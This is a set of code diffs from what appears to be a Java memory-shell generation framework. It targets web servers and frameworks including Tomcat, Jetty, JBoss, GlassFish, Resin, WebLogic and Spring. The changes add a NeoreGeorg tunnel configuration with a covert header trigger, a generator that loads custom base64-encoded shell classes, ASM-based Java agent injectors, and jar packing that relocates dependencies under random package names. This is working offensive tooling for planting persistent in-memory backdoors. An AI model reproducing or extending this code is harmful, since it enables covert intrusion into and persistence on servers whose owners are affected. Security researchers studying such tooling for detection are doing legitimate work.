public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor"; public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler"; public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet"; public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter"; public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
@@ -0,0 +1,20 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/12
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class CustomConfig extends ShellToolConfig {
private String shellClassBase64;
}
@@ -6,6 +6,8 @@ import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
@@ -21,6 +23,7 @@ public class GenerateResult {
private String shellBytesBase64Str; private String shellBytesBase64Str;
private String injectorClassName; private String injectorClassName;
private transient byte[] injectorBytes; private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize; private long injectorSize;
private String injectorBytesBase64Str; private String injectorBytesBase64Str;
private ShellConfig shellConfig; private ShellConfig shellConfig;
@@ -38,7 +41,7 @@ public class GenerateResult {
injectorSize = injectorBytes.length; injectorSize = injectorBytes.length;
} }
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
} }
} }
} }
@@ -0,0 +1,21 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/28
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class NeoreGeorgConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "Referer";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2025/3/18
*/
public class CustomShellGenerator {
private final ShellConfig shellConfig;
private final CustomConfig customConfig;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
this.shellConfig = shellConfig;
this.customConfig = customConfig;
}
public byte[] getBytes() {
String shellClassBase64 = customConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new IllegalArgumentException("Custom shell class is empty");
}
byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}
@@ -1,20 +1,22 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.scaffold.TypeValidation;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import java.util.Objects; import java.util.*;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -34,10 +36,13 @@ public class InjectorGenerator {
@SneakyThrows @SneakyThrows
public DynamicType.Builder<?> getBuilder() { public DynamicType.Builder<?> getBuilder() {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())); String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
String originalClassName = injectorConfig.getInjectorClass().getName();
String newClassName = injectorConfig.getInjectorClassName();
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass()) .redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -56,6 +61,38 @@ public class InjectorGenerator {
return builder; return builder;
} }
@SneakyThrows
public Map<String, byte[]> getInnerClassBytes() {
Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
if (innerClassNames.isEmpty()) {
return Collections.emptyMap();
}
String originalClassName = injectorConfig.getInjectorClass().getName();
String newClassName = injectorConfig.getInjectorClassName();
ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
TypePool typePool = TypePool.Default.of(classFileLocator);
Map<String, byte[]> bytes = new HashMap<>();
for (String innerClassName : innerClassNames) {
TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
DynamicType.Builder<?> innerBuilder = new ByteBuddy()
.with(TypeValidation.DISABLED)
.redefine(innerTypeDesc, classFileLocator)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
bytes.put(newInnerClassName, entry.getValue());
}
}
}
return bytes;
}
@SneakyThrows @SneakyThrows
public byte[] generate() { public byte[] generate() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
@@ -0,0 +1,66 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class NeoreGeorgGenerator {
private final ShellConfig shellConfig;
private final NeoreGeorgConfig neoreGeorgConfig;
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
this.shellConfig = shellConfig;
this.neoreGeorgConfig = neoreGeorgConfig;
}
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(neoreGeorgConfig.getShellClass())
.name(neoreGeorgConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", neoreGeorgConfig.getHeaderName());
put("headerValue", neoreGeorgConfig.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,9 +1,13 @@
package com.reajason.javaweb.memshell.packer.jar; package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.File; import java.io.File;
@@ -13,48 +17,99 @@ import java.net.URL;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.util.Enumeration; import java.util.Enumeration;
import java.util.jar.JarEntry; import java.util.Map;
import java.util.jar.JarFile; import java.util.jar.*;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/1/1 * @since 2025/1/1
*/ */
public class AgentJarPacker implements JarPacker { public class AgentJarPacker implements JarPacker {
private static Path tempBootPath;
static Path tempBootPath;
@Override @Override
@SneakyThrows @SneakyThrows
public byte[] packBytes(GenerateResult generateResult) { public byte[] packBytes(GenerateResult generateResult) {
String mainClass = generateResult.getInjectorClassName(); Manifest manifest = createManifest(generateResult.getInjectorClassName());
String advisorClass = generateResult.getShellClassName(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
Manifest manifest = new Manifest(); String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
addDependency(targetJar, ByteBuddy.class);
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class")); try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
targetJar.write(generateResult.getInjectorBytes()); addDependencies(targetJar, relocatePrefix, isAsm);
targetJar.closeEntry(); addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getShellBytes());
targetJar.closeEntry();
} }
return byteArrayOutputStream.toByteArray();
return outputStream.toByteArray();
}
private Manifest createManifest(String mainClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", mainClass);
attributes.putValue("Premain-Class", mainClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
} }
@SneakyThrows @SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) { private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
if (isAsm) {
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
} else {
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
}
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage = isRelocateEnabled ?
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
// Add injector class
addClassEntry(targetJar,
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = isRelocateEnabled ?
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
classBytes;
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/'); String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString(); String sourceUrlString = sourceUrl.toString();
@@ -77,8 +132,16 @@ public class AgentJarPacker implements JarPacker {
String entryName = entry.getName(); String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) { if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry); InputStream entryStream = sourceJar.getInputStream(entry);
targetJar.putNextEntry(new JarEntry(entryName)); byte[] bytes = IOUtils.toByteArray(entryStream);
IOUtils.copy(entryStream, targetJar); if (relocate) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (bytes.length > 0) {
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
}
} else {
targetJar.putNextEntry(new JarEntry(entryName));
}
targetJar.write(bytes);
targetJar.closeEntry(); targetJar.closeEntry();
entryStream.close(); entryStream.close();
} }
@@ -86,27 +149,29 @@ public class AgentJarPacker implements JarPacker {
sourceJar.close(); sourceJar.close();
} }
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows @SneakyThrows
public static void unzip(String jarPath, String tempPath) { public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) { try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries(); Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) { while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement(); JarEntry jarEntry = entries.nextElement();
String entryName = jarEntry.getName(); File targetFile = new File(tempPath, jarEntry.getName());
File file = new File(tempPath, entryName);
if (jarEntry.isDirectory()) { if (jarEntry.isDirectory()) {
file.mkdir(); targetFile.mkdirs();
} else { continue;
InputStream inputStream = null; }
FileOutputStream outputStream = null;
try { targetFile.getParentFile().mkdirs();
inputStream = jarFile.getInputStream(jarEntry); try (InputStream inputStream = jarFile.getInputStream(jarEntry);
outputStream = new FileOutputStream(file); FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream); IOUtils.copy(inputStream, outputStream);
} finally {
IOUtils.closeQuietly(inputStream);
IOUtils.closeQuietly(outputStream);
}
} }
} }
} }
@@ -45,7 +45,7 @@ public abstract class AbstractShell {
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes()); return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
} }
public Set<ShellTool> getSupportedShellTools(){ public Set<ShellTool> getSupportedShellTools() {
return Collections.unmodifiableSet(map.keySet()); return Collections.unmodifiableSet(map.keySet());
} }
@@ -22,7 +22,8 @@ public class BesShell extends AbstractShell {
.addInjector(LISTENER, BesListenerInjector.class) .addInjector(LISTENER, BesListenerInjector.class)
.addInjector(VALVE, BesValveInjector.class) .addInjector(VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -49,7 +51,9 @@ public class GlassFishShell extends AbstractShell {
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -29,7 +31,9 @@ public class InforSuiteShell extends AbstractShell {
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -26,7 +28,9 @@ public class JbossShell extends AbstractShell {
.addInjector(LISTENER, JbossListenerInjector.class) .addInjector(LISTENER, JbossListenerInjector.class)
.addInjector(VALVE, JbossValveInjector.class) .addInjector(VALVE, JbossValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; import com.reajason.javaweb.memshell.injector.jetty.*;
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -43,6 +40,7 @@ public class JettyShell extends AbstractShell {
.addInjector(LISTENER, JettyListenerInjector.class) .addInjector(LISTENER, JettyListenerInjector.class)
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class) .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.resin.*;
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -35,6 +32,7 @@ public class ResinShell extends AbstractShell {
.addInjector(FILTER, ResinFilterInjector.class) .addInjector(FILTER, ResinFilterInjector.class)
.addInjector(LISTENER, ResinListenerInjector.class) .addInjector(LISTENER, ResinListenerInjector.class)
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -20,6 +21,7 @@ public class SpringWebMvcShell extends AbstractShell {
